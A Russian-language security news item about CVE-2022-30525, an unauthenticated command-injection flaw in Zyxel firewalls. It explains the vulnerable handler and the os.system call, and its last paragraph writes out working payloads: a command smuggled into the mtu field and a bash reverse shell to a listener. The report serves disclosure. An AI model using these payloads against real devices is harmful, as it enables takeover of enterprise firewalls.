Уязвимость в межсетевых экранах Zyxel, позволяющая выполнить код без аутентификации

В устройствах Zyxel серий ATP, VPN и USG FLEX, предназначенных для организации работы межсетевых экранов, IDS и VPN на предприятиях, выявлена критическая уязвимость (CVE-2022-30525), позволяющая внешнему атакующему без аутентификации выполнить код на устройстве с правами пользователя nobody. Для совершения атаки злоумышленник должен иметь возможность отправки на устройство запросов по протоколу HTTP/HTTPS. Компания Zyxel устранила уязвимость в обновлении прошивки ZLD 5.30. По данным сервиса Shodan в настоящее время в глобальной сети зафиксировано 16213 потенциально уязвимых устройств, принимающих запросы по HTTP/HTTPS.

Эксплуатация производится через отправку специально оформленных команд к web-обработчику /ztp/cgi-bin/handler, доступному без аутентификации. Проблема вызвана отсутствием должной чистки параметров запроса при выполнение в системе команд при помощи вызова os.system, используемого в библиотеке lib_wan_settings.py и выполняемого при обработке операции setWanPortSt.

Например, атакующий может передать в поле mtu строку «; ping 192.168.1.210;» которая приведёт к выполнению в системе команды «ping 192.168.1.210». Для получения доступа к командной оболочке можно запустить на своей системе «nc -lvnp 1270», после чего инициировать обратное соединение (reverse shell) отправив на устройство запрос с параметром ‘; bash -c «exec bash -i &›/dev/tcp/192.168.1.210/1270 ‹&1;»;’.

Источник: http://www.opennet.ru/opennews/art.shtml?num=57183